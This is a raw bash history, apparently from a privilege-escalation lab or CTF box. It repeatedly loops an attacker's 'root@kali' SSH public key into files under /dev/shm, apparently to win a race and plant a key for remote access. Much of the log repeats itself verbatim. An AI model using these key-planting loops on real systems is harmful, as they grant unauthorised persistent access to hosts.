 1066  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
59
 1067  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
60
 1068  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub > /dev/null; done
61
 1069  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
62
 1070  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
63
 1071  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
64
 1072  ls -la
65
 1073  cd keys/
66
 1074  ls -la
67
 1075  cat id_rsa.pub\*
68
 1076  clear
69
 1077  ls a- l
70
 1078  clear
71
 1079  ls -la
72
 1080  cat id_rsa.pub\*
73
 1081  cd..
74
 1082  cd ..
75
 1083  clear
76
 1084  ls -la
77
 1085  cd l
78
 1086  cd keys/
79
 1087  ls -la
80
 1088  rm -r id_rsa.pub\*
81
 1089  clear
82
 1090  ls -la
83
 1091  cd ..
84
 1092  ls -a l
85
 1093  rm -r keys/
86
 1094  clear
87
 1095  ls -al
88
 1096  ls -la
89
 1097  cd ..
90
 1098  cd shm/
91
 1099  ls -la
92
 1100  su jane
93
 1101  clear
94
 1102  ls -]al
95
 1103  clear
96
 1104  ls -la
97
 1105  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
98
 1106  clear
99
 1107  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
100
 1108  clear
101
 1109  ls -la
102
 1110  rm -r id_rsa.pub
103
 1111  clear
104
 1112  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
105
 1113  ls -al
106
 1114  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
107
 1115  cd /dev/shm/
108
 1116  ls -al
109
 1117  cd keys/
110
 1118  ls
111
 1119  touch file.txt
112
 1120  cd ..
113
 1121  cd /tmp/
114
 1122  cd t
115
 1123  cd test/
116
 1124  touch file.txt
117
 1125  cd ..
118
 1126  touch file.txt
119
 1127  rm -r
120
 1128  rm -r file.txt
121
 1129  cd t
122
 1130  cd test/
123
 1131  ls -al
124
 1132  touch file.txt
125
 1133  cd /dev/shm/
126
 1134  ls -la
127
 1135  cd keys/
128
 1136  ls
129
 1137  cd..
130
 1138  clear
131
 1139  ls -al
132
 1140  cd ..
133
 1141  ls -la
134
 1142  rm -r keys/
135
 1143  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
136
 1144  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
137
 1145  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub > /dev/null; done
138
 1146  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
139
 1147  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
140
 1148  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
141
 1149  ls -la
142
 1150  cd keys/
143
 1151  ls -la
144
 1152  cat id_rsa.pub\*
145
 1153  clear
146
 1154  ls a- l
147
 1155  clear
148
 1156  ls -la
149
 1157  cat id_rsa.pub\*
150
 1158  cd..
151
 1159  cd ..
152
 1160  clear
153
 1161  ls -la
154
 1162  cd l
155
 1163  cd keys/
156
 1164  ls -la
157
 1165  rm -r id_rsa.pub\*
158
 1166  clear
159
 1167  ls -la
160
 1168  cd ..
161
 1169  ls -a l
162
 1170  rm -r keys/
163
 1171  clear
164
 1172  ls -al
165
 1173  ls -la
166
 1174  cd ..
167
 1175  cd shm/
168
 1176  ls -la
169
 1177  su jane
170
 1178  clear
171
 1179  ls -]al
172
 1180  clear
173
 1181  ls -la
174
 1182  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm* > /dev/null; done
175
 1183  clear
176
 1184  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
177
 1185  clear
178
 1186  ls -la
179
 1187  rm -r id_rsa.pub
180
 1188  clear
181
 1189  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
182
 1190  ls -al
183
 1191  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
184
 1192  cd /dev/shm/
185
 1193  ls -al
186
 1194  cd keys/
187
 1195  ls
188
 1196  touch file.txt
189
 1197  cd ..
190
 1198  cd /tmp/
191
 1199  cd t
192
 1200  cd test/
193
 1201  touch file.txt
194
 1202  cd ..
195
 1203  touch file.txt
196
 1204  rm -r
197
 1205  rm -r file.txt
198
 1206  cd t
199
 1207  cd test/
200
 1208  ls -al
201
 1209  touch file.txt
202
 1210  cd /dev/shm/
203
 1211  ls -la
204
 1212  cd keys/
205
 1213  ls
206
 1214  cd..
207
 1215  clear
208
 1216  ls -al
209
 1217  cd ..
210
 1218  ls -la
211
 1219  rm -r keys/
212
 1220  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys* > /dev/null; done
213
 1221  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub* > /dev/null; done
214
 1222  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/keys/id_rsa.pub > /dev/null; done
215
